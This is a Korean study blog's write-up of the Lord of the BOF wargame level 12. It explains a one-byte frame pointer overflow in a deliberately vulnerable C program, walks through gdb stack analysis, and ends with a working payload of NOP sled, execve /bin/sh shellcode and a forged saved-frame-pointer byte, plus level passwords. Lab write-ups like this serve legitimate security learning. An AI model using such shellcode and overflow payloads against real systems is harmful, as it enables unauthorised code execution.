일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- promise메서드
- graphql react native
- 금별맥주
- 신촌 소문난집
- 잠실새내
- 홍대 예술
- 홍대 토라비
- 비동기배열처리방법
- apolloclient
- 화이트 해커를 위한 웹 해킹의 기술
- useMutation error
- graphql with RN
- 지보싶 신촌점
- 비동기배열
- 운정 소바동
- 고르드
- 예쁜술집 예술
- 앙버터마카롱
- 잠실새내 도그존
- graphql with reactnative
- graphql 400
- graphql
- graphql mutation error
- apollo react native
- 홍대 카페 장쌤
- 도그존
- promise처리
- 토라비
- typescript
- 화이트해커를 위한 웹 해킹의 기술
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 12번 풀이 (golem) 본문
id: golem
pw: cup of coffee
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
- 함수 problem_child 에서 취약점 발생
- argc<2
- strncpy로 복사하는 바이트 수를 41바이트로 제한
- 힌트: FPO
먼저 힌트로 FPO라고 적혀 있어서 FPO를 구글링 해보았다.
FPO (Frame Pointer Overflow)
SFP를 overwrite해서 eip를 변조하고 공격하는 방법
함수의 에필로그 과정에서 취약점 발생
FPO 조건
-main함수 외에 다른 서브함수가 필요
-서브함수에서 overflow가 일어나야 함
우리는 sfp를 적절하게 수정해서 return address를 buffer로 수정해줄 것이다.
그 전에 darkknight를 tmp로 복사해서 gdb를 이용해서 stack을 분석해보자
전반적인 어셈블리어의 흐름은 위와 같고
problem_child+33에 breakpoint를 걸어서 darkknight를 실행해보자
그리고 스택을 확인해보면
buffer가 시작되는 곳은 0x41414141이 계속 저장된 0xbffffabc+0x8=0xbffffac4 라는 것을 알 수 있다.
그런데 buffer 바로 앞에 0xbffffac4 즉, buffer의 주소가 저장되어 있다.
한마디로 buffer-4에 buffer의 시작 주소가 저장되어 있다.
그리고 초록색 부분이 1바이트가 A로 수정된 sfp가 된다.
우리는 FPO 기법을 이용, buffer 시작 주소로 eip를 바꾸려고 한다.
과정은 다음과 같다.
만약 PC(program_child)함수의 sfp가 바뀌지 않았다면 검은색 순서대로 흘러갔겠지만
sfp가 buffer-8의 주소를 담도록 수정하면 핑크색 순서대로 흘러갈 것이다.
물론 이 과정에서 2번 과정은 동일하게 실행된다! (PC의 ret는 바뀌지 않았기 때문에)
따라서 buffer의 41바이트를 NOP+쉘 코드+수정할 sfp의 1바이트 로 구성하면 성공적으로 쉘 코드가 실행되게 할 수 있다.
물론 이 과정에서 sfp는 마지막 1바이트만 바꿀 수 있다. (이 말은 곧 멀리 떨어진 주소로는 이동할 수 없다와 같다.)
buffer-8의 주소는 0xbffffabc이기 때문에 argv[1]의 마지막에 bc를 전달해주면 된다.
하지만 tmp에서 실행한 주소와 차이가 있어 위와 같은 오류가 발생했다.
따라서 실제 darkknight를 실행했을 때 buffer주소를 알아내야 한다.
darkknight를 darkknight2로 복사하고 program_child의 print문을 %s가 아닌 %x로 바꾸어 buffer 시작 주소를 알아내보았다.
실제 buffer 시작주소가 0xbffffab4이면 buffer-8은 0xbffffaac가 된다.
따라서 마지막 바이트에 ac 를 전달하면 된다
payload: ./darkknight `python -c 'print "\x90"*15+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xac"'`
darkknight의 pw: "new attacker"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 14번 풀이 (bugbear) (0) | 2020.12.31 |
---|---|
LOB 13번 풀이 (darkknight) (0) | 2020.12.30 |
LOB 11번 풀이 (skeleton) (0) | 2020.11.24 |
LOB 10번 풀이 (vampire) (0) | 2020.11.22 |
LOB 9번 풀이 (troll) (0) | 2020.11.21 |